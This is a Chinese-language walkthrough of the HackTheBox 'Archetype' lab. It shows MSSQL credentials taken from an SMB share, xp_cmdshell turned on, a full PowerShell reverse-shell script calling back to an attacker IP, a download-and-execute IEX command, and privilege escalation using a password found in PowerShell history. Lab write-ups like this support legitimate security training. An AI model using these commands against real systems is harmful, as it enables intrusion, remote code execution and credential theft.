- 难度 : Very Easy
- 靶场 : HackTheBox [Archetype]
- 类型 : 综合渗透
GetShell
使用 RustScan 扫描出开放了 1433 MSSQL
和 445 Samba
端口。
访问 445 发现有一个 MSSQL 的配置文件 prod.dtsConfig 。打开文件找到了 MSSQL 的用户名和密码。
- User ID = ARCHETYPE\sql_svc
- Password = M3g4c0rp123
使用 impacket 的工具 mssqlclient.py
连接 MSSQL。
mssqlclient.py ARCHETYPE/sql_svc:M3g4c0rp123@10.129.95.187 -windows-auth
发现可以连接成功,但是没有执行 shell 的权限,但是当前的数据库用户属于 Admin 组,拥有修改配置的权限,使用下面的命令开启执行 shell 的功能。
# 查询当前用户是否为 admin ,返回 1 则表示属于 admin,只有 admin 才能开启 shell
SELECT IS_SRVROLEMEMBER('sysadmin');
# 开启高级选项
EXEC sp_configure 'Show Advanced Options', 1;
# 重新配置
reconfigure;
# 开启 xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
# 重新配置
reconfigure;
# 测试命令执行
xp_cmdshell "whoami"
至此,GetShell 完成,但是使用 SQL 执行 shell 还是有诸多不便,可以用 nc 拿到一个反弹 shell ,再执行命令。
首先在一台靶机可以访问到的主机上开启 nc 监听端口。
nc -l 9443
然后准备一个 powershell 反弹 shell 脚本 reverse-shell.ps1
。
# 此处填写 nc 监听主机地址和端口
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.45",9443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "# ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
在一台靶机可以访问到的主机上放置该脚本,并开启 HTTP 访问。
python -m http.server 80
之后连接靶机 MSSQL ,并加载远程 powershell 脚本。
mssqlclient.py ARCHETYPE/sql_svc:M3g4c0rp123@10.129.95.187 -windows-auth
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.45/reverse-shell.ps1\");"
此时 nc 监听的端口应该已经获取到 shell ,可以查询到当前用户的 flag 。
type C:\Users\sql_svc\Desktop\user.txt
提权
查询 powershell 历史记录,可以找到 Administrator 的密码。
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
在已知密码的情况下,使用 impacket 的工具 psexec.py
进行提权。
psexec.py Administrator@10.129.95.187
使用之前获取到的密码登录,成功提权,找到 Administrator 的 flag 。
type C:\Users\Administrator\Desktop\root.txt
评论